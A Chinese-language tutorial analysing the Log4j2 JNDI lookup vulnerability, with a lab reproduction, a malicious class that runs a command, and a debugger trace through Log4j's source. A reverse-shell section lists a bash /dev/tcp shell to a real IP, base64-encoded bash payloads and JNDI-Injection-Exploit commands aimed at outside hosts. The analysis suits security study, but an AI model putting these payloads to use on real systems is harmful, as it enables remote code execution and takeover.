Log4j2反序列化分析

Log4j介绍

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件.我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

程序员通过调用logger的不同方法可以输出日志还有向控制台输出信息,刚开始做java的时候大家都是使用

1
System.out.println("logger");

来将信息打印到控制台下的,但是真正开发的时候一般大多数是使用log4j2组件来实现的,这里首先还是需要配置一下log4j.properties文件来输出日志,但是这里因为是分析漏洞就不测试了

1
2
3
4
5
6
7
8
9
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);

public static void main(String[] args) {
logger.debug("debug");
logger.info("info");
logger.error("error");
}
}

运行截图如下image-20211213093243963

我们知道POC是${jndi:ldap://xxx.dnslog.cn/xxx},在输入框中输入内容,然后如果logger.error(xx)xx为我们输入的内容执行了就会发送一个dns请求解析我们的域名,这里可以用JNDI注入来实现.

复现漏洞

首先还是复现一下漏洞吧,这里新建一个log4j.java的类,写上如下的内容

1
2
3
4
5
6
7
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);

public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/aa}");
}
}

然后新建一个test.java写上如下的内容exec()函数中可以替换成任意的指令,并且用javac编译为test.class

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class test {
static {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
}

如下结构,之后使用marshalsec-0.0.3-SNAPSHOT-all.jar开启一下虚拟的JDNI服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8081/#test"

image-20211213093954332

image-20211213093800592

image-20220706203613779

另外开启一个terminal窗口在test.class目录下开启一个http服务在8081窗口

image-20211213094057317

这里就回到log4j.java的main方法直接执行,就可以成功的弹出计算器.

image-20211213094137268

反弹shell复现

这里使用vulhub的靶场

生成payload的网站

https://tools.zjun.info/runtime-exec-payloads/

1
2
3
4
5
6
7
8
9
bash -i >& /dev/tcp/49.235.94.160/9998 0>&1

ping 123qwe.brlsij.dnslog.cn

bash -c {echo,cGluZyAxMjNxd2UuYnJsc2lqLmRuc2xvZy5jbgoK}|{base64,-d}|{bash,-i}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,cGluZyAxMjNxd2UuYnJsc2lqLmRuc2xvZy5jbgoK}|{base64,-d}|{bash,-i}" -A "49.235.94.160"

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDcuMTc1LjkxLjE5OC8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}" -A "107.175.91.198"

image-20220706202126918

RCE分析

首先在logger.error()方法打一处断点,直接进入到AbstractLogger.log()方法

image-20211213094613350

image-20211213094653388

之后会经历一系列的代码处理,前面会有很多的没用的log处理的方法很繁杂

image-20211213100144891

一直到PatternLayout.toText()方法进入到关键方法,这里指向了toSerializable()

image-20211213100218819

toSerializable()指向了format()函数,其中formatters是PatternFormatter类

image-20211213100528438

image-20211213100253720

这里就会执行到converter.format(event, buf);而converter的是属于LogEventPatternConverter类的就来到了关键的方法.

image-20211213100614908

image-20211213100557605

LogEventPatternConverter.format方法是处理字符串的关键方法,这里就是判断是否以${开头,所以我们的POC才要这样构造,之后if判断为true,就会进入到config.getStrSubstitutor().replace(event, value)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {

final boolean doRender = textRenderer != null;
final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;

final int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
} else {
((StringBuilderFormattable) msg).formatTo(workingBuilder);
}

// TODO can we optimize this?
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
//判断是不是${开头
//${jndi:ldap://xxxx}
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
//调用relpace方法
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
textRenderer.render(workingBuilder, toAppendTo);
}
return;
}
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage) msg).getFormattedMessage(formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(config != null && result.contains("${")
? config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}

该replace()方法会进入到StrSubstitutor.substitute方法

image-20211213104102310

然后调用自己substitute()方法

image-20211213104139910

进入resolveVariable方法,这里已经将varName的${}给替换掉了

image-20211213104353511

image-20211213104208966

然后就会执行lookup()方法

image-20211213104428305

会进入到Interpolator.lookup()方法中,这里的name参数已经变成了

image-20211213104844287

这里的条件判断很有意思image-20211213104948191

这里就走到了JndiLookup的lookup函数,那这里为什么会走到JNDI的呢

image-20211213105111461

回到前面我们可以看到final StrLookup lookup = strLookupMap.get(prefix)条代码,在strLookupMap中已经存在了如下这么多的内容执行get方法,这里参数是prefix在上边中已经被赋值为jndi了于是就会走到JndiLookup

image-20211213105443906

之后会执行到jndiManager.lookup(jndiName)函数就是最后的触发点

image-20211213110323511

image-20211213110342846

左下角的堆栈的内容是加载远程的class类来实例化对象,这里我把恶意代码写到了静态代码块内,加载的时候就会执行,确实程序走到这一步的时候就执行了计算器image-20211213110421584